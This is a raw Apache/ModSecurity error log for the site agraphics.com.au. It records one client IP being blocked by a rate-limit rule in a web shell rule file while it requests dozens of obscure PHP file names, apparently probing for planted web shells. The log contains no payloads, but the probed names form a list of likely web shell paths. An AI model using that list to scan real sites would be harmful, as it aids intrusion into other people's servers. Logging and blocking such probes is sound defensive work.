[Sat Apr 11 04:00:25.911830 2026] [:error] [pid 2722:tid 2753] [client 135.116.194.58:54458] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/upll22.php"] [unique_id "adlW2Y_R23QDTmaQHyGBxwAAAEA"]
[Sat Apr 11 04:00:26.524037 2026] [:error] [pid 2723:tid 2782] [client 135.116.194.58:5083] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/upll22.php"] [unique_id "adlW2oNy3DfGNAwLjcOysgAAAII"]
[Sat Apr 11 04:00:27.154100 2026] [:error] [pid 2812:tid 2820] [client 135.116.194.58:54446] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/upll22.php"] [unique_id "adlW29mkbBYp4LlMowsD-gAAAMU"]
[Sat Apr 11 04:00:27.737885 2026] [:error] [pid 2722:tid 2776] [client 135.116.194.58:4992] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/upll22.php"] [unique_id "adlW24_R23QDTmaQHyGBzwAAAFc"]
[Sat Apr 11 04:00:28.266743 2026] [:error] [pid 2722:tid 2767] [client 135.116.194.58:4998] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/100.php"] [unique_id "adlW3I_R23QDTmaQHyGB1AAAAE4"]
[Sat Apr 11 04:00:28.793478 2026] [:error] [pid 2721:tid 2745] [client 135.116.194.58:54423] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/100.php"] [unique_id "adlW3DZWWL4OaRcuwkjILAAAABM"]
[Sat Apr 11 04:00:29.644467 2026] [:error] [pid 2812:tid 2816] [client 135.116.194.58:54379] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/100.php"] [unique_id "adlW3dmkbBYp4LlMowsEAQAAAME"]
[Sat Apr 11 04:00:30.175709 2026] [:error] [pid 2721:tid 2750] [client 135.116.194.58:5087] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/100.php"] [unique_id "adlW3jZWWL4OaRcuwkjILgAAABg"]
[Sat Apr 11 04:00:30.766944 2026] [:error] [pid 2722:tid 2760] [client 135.116.194.58:54381] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byrgo.php"] [unique_id "adlW3o_R23QDTmaQHyGB3wAAAEc"]
[Sat Apr 11 04:00:31.395075 2026] [:error] [pid 2722:tid 2772] [client 135.116.194.58:4918] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byrgo.php"] [unique_id "adlW34_R23QDTmaQHyGB4wAAAFM"]
[Sat Apr 11 04:00:31.997839 2026] [:error] [pid 2721:tid 2734] [client 135.116.194.58:5012] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byrgo.php"] [unique_id "adlW3zZWWL4OaRcuwkjIMgAAAAg"]
[Sat Apr 11 04:00:32.679054 2026] [:error] [pid 2722:tid 2770] [client 135.116.194.58:54373] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byrgo.php"] [unique_id "adlW4I_R23QDTmaQHyGB6QAAAFE"]
[Sat Apr 11 04:00:33.277029 2026] [:error] [pid 2722:tid 2776] [client 135.116.194.58:4978] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zc-243.php"] [unique_id "adlW4Y_R23QDTmaQHyGB7QAAAFc"]
[Sat Apr 11 04:00:33.901575 2026] [:error] [pid 2721:tid 2741] [client 135.116.194.58:4882] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zc-243.php"] [unique_id "adlW4TZWWL4OaRcuwkjIPQAAAA8"]
[Sat Apr 11 04:00:34.501637 2026] [:error] [pid 2723:tid 2796] [client 135.116.194.58:54398] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zc-243.php"] [unique_id "adlW4oNy3DfGNAwLjcOyuwAAAJA"]
[Sat Apr 11 04:00:35.168657 2026] [:error] [pid 2721:tid 2746] [client 135.116.194.58:5114] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zc-243.php"] [unique_id "adlW4zZWWL4OaRcuwkjIPwAAABQ"]
[Sat Apr 11 04:00:35.810028 2026] [:error] [pid 2812:tid 2833] [client 135.116.194.58:5021] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pm90apbv3v5fvgkbguyiCdefault.php"] [unique_id "adlW49mkbBYp4LlMowsEGwAAANI"]
[Sat Apr 11 04:00:36.437942 2026] [:error] [pid 2722:tid 2759] [client 135.116.194.58:4979] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pm90apbv3v5fvgkbguyiCdefault.php"] [unique_id "adlW5I_R23QDTmaQHyGB9wAAAEY"]
[Sat Apr 11 04:00:37.042864 2026] [:error] [pid 2812:tid 2830] [client 135.116.194.58:5088] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pm90apbv3v5fvgkbguyiCdefault.php"] [unique_id "adlW5dmkbBYp4LlMowsEJAAAAM8"]
[Sat Apr 11 04:00:37.690129 2026] [:error] [pid 2722:tid 2761] [client 135.116.194.58:54390] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pm90apbv3v5fvgkbguyiCdefault.php"] [unique_id "adlW5Y_R23QDTmaQHyGB-QAAAEg"]
[Sat Apr 11 04:00:38.258081 2026] [:error] [pid 2723:tid 2793] [client 135.116.194.58:4930] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "adlW5oNy3DfGNAwLjcOyyAAAAI0"]
[Sat Apr 11 04:00:38.808987 2026] [:error] [pid 2812:tid 2839] [client 135.116.194.58:5077] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "adlW5tmkbBYp4LlMowsEKAAAANg"]
[Sat Apr 11 04:00:39.390662 2026] [:error] [pid 2812:tid 2836] [client 135.116.194.58:4844] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "adlW59mkbBYp4LlMowsEMQAAANU"]
[Sat Apr 11 04:00:39.960613 2026] [:error] [pid 2812:tid 2831] [client 135.116.194.58:5100] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "adlW59mkbBYp4LlMowsENQAAANA"]
[Sat Apr 11 04:00:40.486867 2026] [:error] [pid 2721:tid 2743] [client 135.116.194.58:4825] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/CDX1.php"] [unique_id "adlW6DZWWL4OaRcuwkjIVgAAABE"]
[Sat Apr 11 04:00:41.053105 2026] [:error] [pid 2812:tid 2819] [client 135.116.194.58:5035] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/CDX1.php"] [unique_id "adlW6dmkbBYp4LlMowsEQAAAAMQ"]
[Sat Apr 11 04:00:41.610096 2026] [:error] [pid 2723:tid 2781] [client 135.116.194.58:4922] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/CDX1.php"] [unique_id "adlW6YNy3DfGNAwLjcOyzAAAAIE"]
[Sat Apr 11 04:00:42.136118 2026] [:error] [pid 2723:tid 2789] [client 135.116.194.58:5026] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/CDX1.php"] [unique_id "adlW6oNy3DfGNAwLjcOy0AAAAIk"]
[Sat Apr 11 04:00:42.671909 2026] [:error] [pid 2723:tid 2802] [client 135.116.194.58:5017] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adlW6oNy3DfGNAwLjcOy1gAAAJY"]
[Sat Apr 11 04:00:43.376563 2026] [:error] [pid 2722:tid 2754] [client 135.116.194.58:5118] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adlW64_R23QDTmaQHyGCBgAAAEE"]
[Sat Apr 11 04:00:44.797781 2026] [:error] [pid 2722:tid 2764] [client 135.116.194.58:4937] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adlW7I_R23QDTmaQHyGCCwAAAEs"]
[Sat Apr 11 04:00:45.315444 2026] [:error] [pid 2722:tid 2776] [client 135.116.194.58:54411] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adlW7Y_R23QDTmaQHyGCDQAAAFc"]
[Sat Apr 11 04:00:46.841343 2026] [:error] [pid 2723:tid 2803] [client 135.116.194.58:54439] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "adlW7oNy3DfGNAwLjcOy5gAAAJc"]
[Sat Apr 11 04:00:47.434676 2026] [:error] [pid 2723:tid 2786] [client 135.116.194.58:4693] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "adlW74Ny3DfGNAwLjcOy6wAAAIY"]
[Sat Apr 11 04:00:48.897001 2026] [:error] [pid 2722:tid 2759] [client 135.116.194.58:4826] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "adlW8I_R23QDTmaQHyGCFQAAAEY"]
[Sat Apr 11 04:00:49.493740 2026] [proxy_fcgi:error] [pid 2721:tid 2735] [client 135.116.194.58:5065] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 04:00:49.770128 2026] [proxy_fcgi:error] [pid 2721:tid 2743] [client 135.116.194.58:5065] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 04:00:50.059536 2026] [proxy_fcgi:error] [pid 2721:tid 2742] [client 135.116.194.58:5065] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 04:00:50.357602 2026] [proxy_fcgi:error] [pid 2721:tid 2730] [client 135.116.194.58:5065] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 04:00:50.811290 2026] [proxy_fcgi:error] [pid 2721:tid 2750] [client 135.116.194.58:5065] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 04:00:51.123448 2026] [proxy_fcgi:error] [pid 2721:tid 2728] [client 135.116.194.58:5065] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 04:00:51.467674 2026] [proxy_fcgi:error] [pid 2721:tid 2736] [client 135.116.194.58:5065] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 04:00:51.782059 2026] [proxy_fcgi:error] [pid 2721:tid 2746] [client 135.116.194.58:5065] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 04:00:52.067837 2026] [proxy_fcgi:error] [pid 2721:tid 2749] [client 135.116.194.58:5065] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 04:00:52.388068 2026] [proxy_fcgi:error] [pid 2721:tid 2747] [client 135.116.194.58:5065] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 04:00:52.670669 2026] [proxy_fcgi:error] [pid 2721:tid 2729] [client 135.116.194.58:5065] AH01071: Got error 'Primary script unknown'
[Sat Apr 11 04:00:53.022072 2026] [:error] [pid 2721:tid 2750] [client 135.116.194.58:5065] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adlW9TZWWL4OaRcuwkjIgQAAABg"]
[Sat Apr 11 04:00:53.644558 2026] [:error] [pid 2722:tid 2771] [client 135.116.194.58:54385] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adlW9Y_R23QDTmaQHyGCHwAAAFI"]
[Sat Apr 11 04:00:54.372157 2026] [:error] [pid 2723:tid 2789] [client 135.116.194.58:5034] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adlW9oNy3DfGNAwLjcOy-QAAAIk"]
[Sat Apr 11 04:00:54.989526 2026] [:error] [pid 2722:tid 2774] [client 135.116.194.58:5101] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adlW9o_R23QDTmaQHyGCIwAAAFU"]
[Sat Apr 11 04:00:55.569350 2026] [:error] [pid 2812:tid 2838] [client 135.116.194.58:5071] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "adlW99mkbBYp4LlMowsEbAAAANc"]
[Sat Apr 11 04:00:56.130447 2026] [:error] [pid 2722:tid 2765] [client 135.116.194.58:5107] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "adlW-I_R23QDTmaQHyGCJwAAAEw"]
[Sat Apr 11 04:01:00.055781 2026] [:error] [pid 2812:tid 2826] [client 135.116.194.58:5068] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "adlW_NmkbBYp4LlMowsEggAAAMs"]
[Sat Apr 11 04:01:00.675324 2026] [:error] [pid 2812:tid 2834] [client 135.116.194.58:5076] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "adlW_NmkbBYp4LlMowsEiAAAANM"]
[Sat Apr 11 04:01:01.203912 2026] [:error] [pid 2722:tid 2772] [client 135.116.194.58:54372] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "adlW_Y_R23QDTmaQHyGCLQAAAFM"]
[Sat Apr 11 04:01:01.804726 2026] [:error] [pid 2721:tid 2726] [client 135.116.194.58:54391] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "adlW_TZWWL4OaRcuwkjIkgAAAAA"]
[Sat Apr 11 04:01:02.337039 2026] [:error] [pid 2812:tid 2816] [client 135.116.194.58:54407] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "adlW_tmkbBYp4LlMowsEjgAAAME"]
[Sat Apr 11 04:01:03.953483 2026] [:error] [pid 2723:tid 2798] [client 135.116.194.58:5078] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "adlW_4Ny3DfGNAwLjcOzBAAAAJI"]
[Sat Apr 11 04:01:04.540166 2026] [:error] [pid 2723:tid 2797] [client 135.116.194.58:5081] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "adlXAINy3DfGNAwLjcOzCgAAAJE"]
[Sat Apr 11 04:01:05.118424 2026] [:error] [pid 2723:tid 2790] [client 135.116.194.58:5102] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "adlXAYNy3DfGNAwLjcOzEAAAAIo"]
[Sat Apr 11 04:01:05.701290 2026] [:error] [pid 2723:tid 2795] [client 135.116.194.58:5067] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "adlXAYNy3DfGNAwLjcOzEwAAAI8"]
[Sat Apr 11 04:01:06.293112 2026] [:error] [pid 2722:tid 2771] [client 135.116.194.58:54339] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "adlXAo_R23QDTmaQHyGCNQAAAFI"]
[Sat Apr 11 04:01:06.887300 2026] [:error] [pid 2722:tid 2763] [client 135.116.194.58:54388] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "adlXAo_R23QDTmaQHyGCOAAAAEo"]
